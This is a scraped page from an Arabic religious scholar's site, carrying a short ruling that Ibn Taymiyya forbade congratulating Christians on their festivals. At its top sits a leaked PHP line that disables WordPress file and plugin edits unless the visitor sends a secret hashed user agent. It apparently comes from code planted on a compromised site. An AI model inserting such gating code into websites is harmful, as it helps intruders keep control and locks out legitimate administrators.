if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } الرد على من نسب لشيخ الإسلام ابن تيمية رحمه الله إباحة تهنئة الكفار بأعيادهم - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

الرد على من نسب لشيخ الإسلام ابن تيمية رحمه الله إباحة تهنئة الكفار بأعيادهم

لم يقل شيخ الإسلام رحمه الله بجواز تهنئة الكفار في أعيادهم البتة البتة بل قال كلامًا جزلًا فصلًا واضحًا بينًا هو وتلميذه ابن القيم، قال: إنّ ذلك إنْ سلم فاعله أو قائله من الكفر فقد وقع في الحرام وهو مثل تهنئته بعبادة الصليب بل هو أقبح من تهنئتهم بشرب الخمر وفعل الزنا، ومن ثم فلا يُنسب للأئمة هذا القول البتة ولعل الشيخ غلط وفهم كلام شيخ الإسلام على أن التهنئة التي فيها قولٌ بالرواية بالجواز، عموم التهنئة، وهذا خطأٌ محضٌ وغلطٌ بين، لعله يرجع عنه لأن الناس قد يفرحون بمثل هذا لأن بعض الناس يريد أن يهنئ، نقول: سبحان الله، كيف تهنئهم بعبادة غير الله وبالشرك بالله؟! والله جل شأنه قد حكم بكفرهم {لَقَدْ كَفَرَ الَّذِينَ قَالُوا إِنَّ اللهَ ثَالِثُ ثَلَاثَةٍ} [المائدة: ٧٣] حكم بكفرهم لهذا القول الإجرامي العظيم في حق الله جل شأنه، هذا القول الذي تكاد السماوات يتفطرن، والجبال تخر هدًا من بشاعة هذا القول، كيف يُنسب لله الولد؟ وكيف يُقال الله ثالث ثلاثة؟ وكيف يُقال المسيح الله أو ابن الله أو ثالث ثلاثة؟ تعالى الله عما يقول الكافرون علوًا كبيرًا، فكيف نهنئ الكافرين بكفرهم؟ فإن قال قائل: إنهم قد يهنئوننا بأعيادنا، نقول: سبحان الله، أعيادنا أعيادٌ شرعية، أعيادٌ دينية شرعها الله جل شأنه، فإن هنئونا أو لم يهنؤنا فهي أعيادٌ شرعية، أما أعيادهم فهي أعيادٌ شركية بدعية لا تجوز تهنئتهم ولا حضور هذه الاحتفالات ولا المشاركة فيها بوجهٍ من الوجوه.